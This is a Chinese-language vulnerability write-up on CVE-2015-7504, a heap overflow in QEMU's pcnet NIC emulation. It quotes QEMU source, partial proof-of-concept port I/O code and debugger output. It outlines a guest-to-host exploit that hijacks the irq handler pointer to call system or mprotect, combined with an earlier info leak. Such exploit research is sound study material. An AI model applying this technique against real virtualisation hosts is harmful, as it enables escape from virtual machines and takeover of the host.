作者:raycp
原文来自安全客:https://www.anquanke.com/post/id/197638
cve-2015-7504是pcnet网卡中的一个堆溢出漏洞,可以溢出四字节,通过构造特定的数据可以劫持程序执行流,结合前面的cve-2015-5165中的信息泄露,便可以实现任意代码执行。
首先仍然是先介绍pcnet网卡的部分信息。
网卡有16位和32位两种模式,这取决于DWIO(存储在网卡上的变量)的实际值,16位模式是网卡重启后的默认模式。网卡有两种内部寄存器:CSR(控制和状态寄存器)和BCR(总线控制寄存器)。两种寄存器都需要通过设置对应的我们要访问的RAP(寄存器地址端口)寄存器来实现对相应CSR或BCR寄存器的访问。
网卡的配置可以通过填充一个初始化结构体,并将该结构体的物理地址传送到网卡(通过设置CSR[1]和CSR[2])来完成,结构体定义如下:
struct pcnet_config {
uint16_t mode; /* working mode: promiscusous, looptest, etc. */
uint8_t rlen; /* number of rx descriptors in log2 base */
uint8_t tlen; /* number of tx descriptors in log2 base */
uint8_t mac[6]; /* mac address */
uint16_t _reserved;
uint8_t ladr[8]; /* logical address filter */
uint32_t rx_desc; /* physical address of rx descriptor buffer */
uint32_t tx_desc; /* physical address of tx descriptor buffer */
};
漏洞代码在./hw/net/pcnet.c
的pcnet_receive
函数中,关键代码如下:
ssize_t print pcnet_receive(NetClientState *nc, const uint8_t *buf, size_t size_)
{
int size = size_;
PCNetState *s = qemu_get_nic_opaque(nc);
...
uint8_t *src = s->buffer;
....
} else if (s->looptest == PCNET_LOOPTEST_CRC ||
!CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
uint32_t fcs = ~0;
uint8_t *p = src;
while (p != &src[size])
CRC(fcs, *p++);
*(uint32_t *)p = htonl(fcs); //将crc值写到数据包的末尾
size += 4;
...
pcnet_update_irq(s);
return size_;
}
s->buffer
是网卡接收的数据,size
是数据大小,可以看到代码计算出当前数据包的crc值并写到了数据包的末尾。但是当size
刚好为s->buffer
的大小时,会导致最后会将crc值越界到缓冲区之外,溢出的数据为数据包中的crc值。
接下来看越界会覆盖什么,s
的定义是PCNetState
,定义如下:
struct PCNetState_st {
NICState *nic;
NICConf conf;
QEMUTimer *poll_timer;
int rap, isr, lnkst;
uint32_t rdra, tdra;
uint8_t prom[16];
uint16_t csr[128];
uint16_t bcr[32];
int xmit_pos;
uint64_t timer;
MemoryRegion mmio;
uint8_t buffer[4096];
qemu_irq irq;
void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void *dma_opaque;
int tx_busy;
int looptest;
};
可以看到buffer
的大小为4096
,当size
为4096
时,会使得crc
覆盖到后面的qemu_irq irq
低四字节。irq
的定义是typedef struct IRQState *qemu_irq
,为一个指针。溢出会覆盖该结构体指针的低四字节,该结构体定义如下:
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
在覆盖率变量irq
的第四字节后,在程序的末尾有一个pcnet_update_irq(s);
的函数调用,该函数中存在对qemu_set_irq
函数的调用,由于可控irq
,所以可控irq->handler
,使得有可能控制程序执行流。
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}
可以看到覆盖的值的内容是数据包的crc校验的值,该值是可控的。我们可以通过构造特定的数据包得到我们想要的crc校验的值,有需要可以去看具体原理,因此该漏洞可实现将irq
指针低四字节覆盖为任意地址的能力。
再看如何触发漏洞pcnet_receive
函数,找到调用它的函数pcnet_transmit
,需要设置一些标志位如BCR_SWSTYLE
等才能触发函数:
static void pcnet_transmit(PCNetState *s)
{
hwaddr xmit_cxda = 0;
int count = CSR_XMTRL(s)-1;
int add_crc = 0;
int bcnt;
s->xmit_pos = -1;
...
if (s->xmit_pos + bcnt > sizeof(s->buffer)) {
s->xmit_pos = -1;
goto txdone;
}
...
if (CSR_LOOP(s)) {
if (BCR_SWSTYLE(s) == 1)
add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
pcnet_receive(qemu_get_queue(s->nic), s->buffer, s->xmit_pos);
s->looptest = 0;
} else {
...
再看调用pcnet_transmit
的函数:一个是在pcnet_csr_writew
中调用;一个是在pcnet_poll_timer
中。
主要看pcnet_csr_writew
函数,它被pcnet_ioport_writew
调用,了io_port函数,可以去对程序流程进行分析了。
void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
PCNetState *s = opaque;
pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
printf("pcnet_ioport_writew addr=0x%08x val=0x%04x\n", addr, val);
#endif
if (!BCR_DWIO(s)) {
switch (addr & 0x0f) {
case 0x00: /* RDP */
pcnet_csr_writew(s, s->rap, val);
break;
case 0x02:
s->rap = val & 0x7f;
break;
case 0x06:
pcnet_bcr_writew(s, s->rap, val);
break;
}
}
pcnet_update_irq(s);
}
因为流程中很多关键数据都是使用CSR(控制和状态寄存器)表示的,这些寄存器各个位的意义看起来又很麻烦,所以这次流程分析更多的是基于poc的流程。
先看网卡信息,I/O端口为0xc140
,大小为32:
root@ubuntu:~# lspci -v -s 00:05.0
00:05.0 Ethernet controller: Advanced Micro Devices, Inc. [AMD] 79c970 [PCnet32 LANCE] (rev 10)
Flags: bus master, medium devsel, latency 0, IRQ 10
I/O ports at c140 [size=32]
Memory at febf2000 (32-bit, non-prefetchable) [size=32]
Expansion ROM at feb80000 [disabled] [size=256K]
Kernel driver in use: pcnet32
lspci: Unable to load libkmod resources: error -12
再看./hw/net/pcnet-pci.c
中的realize
函数中的pmio空间的相关声明:
memory_region_init_io(&d->io_bar, OBJECT(d), &pcnet_io_ops, s, "pcnet-io",
PCNET_IOPORT_SIZE);
#define PCNET_IOPORT_SIZE 0x20
static const MemoryRegionOps pcnet_io_ops = {
.read = pcnet_ioport_read,
.write = pcnet_ioport_write,
.endianness = DEVICE_LITTLE_ENDIAN,
};
static void pcnet_ioport_write(void *opaque, hwaddr addr,
uint64_t data, unsigned size)
{
PCNetState *d = opaque;
trace_pcnet_ioport_write(opaque, addr, data, size);
if (addr < 0x10) {
...
}
}
static uint64_t pcnet_ioport_read(void *opaque, hwaddr addr,
unsigned size)
{
PCNetState *d = opaque;
trace_pcnet_ioport_read(opaque, addr, size);
if (addr < 0x10) {
...
}
} else {
if (size == 2) {
return pcnet_ioport_readw(d, addr);
} else if (size == 4) {
return pcnet_ioport_readl(d, addr);
}
}
return ((uint64_t)1 << (size * 8)) - 1;
}
可以看到当addr大于0x10时,会根据size的大小调用相对应的pcnet_ioport_readw
以及pcnet_ioport_readl
。
poc中关键代码如下:
/* soft reset */
inl(PCNET_PORT + 0x18);
inw(PCNET_PORT + RST);
/* set swstyle */
outw(58, PCNET_PORT + RAP);
outw(0x0102, PCNET_PORT + RDP);
/* card config */
outw(1, PCNET_PORT + RAP);
outw(lo, PCNET_PORT + RDP);
outw(2, PCNET_PORT + RAP);
outw(hi, PCNET_PORT + RDP);
/* init and start */
outw(0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);
sleep(2);
pcnet_packet_send(&pcnet_tx_desc, pcnet_tx_buffer, pcnet_packet,
PCNET_BUFFER_SIZE);
首先是先调用inl
以及inw
去初始化网卡,在readw
中0x14对应的会调用pcnet_s_reset
函数,readl
函数中0x18
也会调用该函数。该函数会将网卡进行初始化,包括设置为16位模式以及设置状态为stop状态等。
static void pcnet_s_reset(PCNetState *s)
{
trace_pcnet_s_reset(s);
s->rdra = 0;
s->tdra = 0;
s->rap = 0;
s->bcr[BCR_BSBC] &= ~0x0080; //设置16位模式
s->csr[0] = 0x0004; //设置state为stop状态
...
s->tx_busy = 0;
}
先看下pcnet_ioport_writew
的定义:
void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
PCNetState *s = opaque;
pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
printf("pcnet_ioport_writew addr=0x%08x val=0x%04x\n", addr, val);
#endif
if (!BCR_DWIO(s)) {
switch (addr & 0x0f) {
case 0x00: /* RDP */
pcnet_csr_writew(s, s->rap, val);
break;
case 0x02:
s->rap = val & 0x7f;
break;
case 0x06:
pcnet_bcr_writew(s, s->rap, val);
break;
}
}
pcnet_update_irq(s);
}
static void pcnet_csr_writew(PCNetState *s, uint32_t rap, uint32_t new_value)
{
uint16_t val = new_value;
#ifdef PCNET_DEBUG_CSR
printf("pcnet_csr_writew rap=%d val=0x%04x\n", rap, val);
#endif
switch (rap) {
case 0:
s->csr[0] &= ~(val & 0x7f00); /* Clear any interrupt flags */
s->csr[0] = (s->csr[0] & ~0x0040) | (val & 0x0048);
val = (val & 0x007f) | (s->csr[0] & 0x7f00);
/* IFF STOP, STRT and INIT are set, clear STRT and INIT */
if ((val&7) == 7)
val &= ~3;
if (!CSR_STOP(s) && (val & 4))
pcnet_stop(s);
if (!CSR_INIT(s) && (val & 1))
pcnet_init(s);
if (!CSR_STRT(s) && (val & 2))
pcnet_start(s);
if (CSR_TDMD(s))
pcnet_transmit(s);
return;
...
s->csr[rap] = val; //设置csr寄存器值
}
可以看到我们可以通过设置addr
为0x12
来设置s->rap
,然后再通过addr为0x10
或0x16
来操作csr
寄存器或bcr
寄存器,而设置好的s->rap
则是csr
寄存器或bcr
寄存器的索引。
因此操作都需要两条指令才能进行,先通过s->rap
设置好索引,再去操作相应的寄存器,如poc中需要将pcnet的配置结构体传递给网卡,需要将该结构体物理地址赋值给csr[1]
以及csr[2]
,则需要先将s->rap
设置为1
再去将地址的值赋值:
/* card config */
outw(1, PCNET_PORT + RAP);
outw(lo, PCNET_PORT + RDP);
outw(2, PCNET_PORT + RAP);
outw(hi, PCNET_PORT + RDP);
配置好网卡后,通过pcnet_init
以及pcnet_start
将网卡启动起来,再将构造的数据发送出去就触发了漏洞。
该漏洞的利用需要结合之前cve-2015-5165
的信息泄露,基于信息泄露得到了程序基址以及相应的堆地址后,便可实现任意代码执行。
先看内存结构原有的内存结构,将断点下在pcnet_receive
函数,运行poc:
pwndbg> print s
$2 = (PCNetState *) 0x5565a78d0840
pwndbg> vmmap s
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5565a66f1000 0x5565a7f15000 rw-p 1824000 0 [heap]
pwndbg> print s->irq
$3 = (qemu_irq) 0x5565a78d6740
pwndbg> vmmap s->irq
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5565a66f1000 0x5565a7f15000 rw-p 1824000 0 [heap]
pwndbg> print &s->buffer
$5 = (uint8_t (*)[4096]) 0x5565a78d2ad0
pwndbg> vmmap &s->buffer
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5565a66f1000 0x5565a7f15000 rw-p 1824000 0 [heap]
可以看到irq
指针的值为堆地址,而我们可控的网卡的数据也在堆上。
利用思路就比较清楚了,将irq
指针的低四位覆盖指向s->buffer
中的某处,并在该处伪造好相应的irq
结构体,如将handler
伪造为system plt
的地址,将opaque
伪造为堆中参数cat flag
的地址。
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
system plt
地址可通过objdump
获得:
$ objdump -d -j .plt ./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 | grep system
./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64: file format elf64-x86-64
000000000009cf90 <system@plt>:
9cf90: ff 25 a2 14 7d 00 jmpq *0x7d14a2(%rip) # 86e438 <system@GLIBC_2.2.5>
需要提一下的是,QEMU Case Study中则是调用mprotect
函数来先将内存设置为可执行,然后再执行shellcode。但是看起来似乎无法控制第三个参数的值,因为level
是由父函数pcnet_update_irq
传递过来的:
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}
该文章中的解决方法是构造了两个irq
,第一个函数指针指向了qemu_set_irq
,将opque
设置为第二个irq
的地址,irq->n
设置为7
;第二个irq
则将handler
设置为mprotect
,opaque
设置为对应的地址,n
设置为相应的地址,以此来实现第三个参数的控制。当mprotect成功执行后,再通过网卡数据的设置,控制执行流重新执行shellcode的地址,实现利用。
两个很经典的漏洞结合实现了任意代码执行,值得学习。
相应的脚本和文件链接
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1361/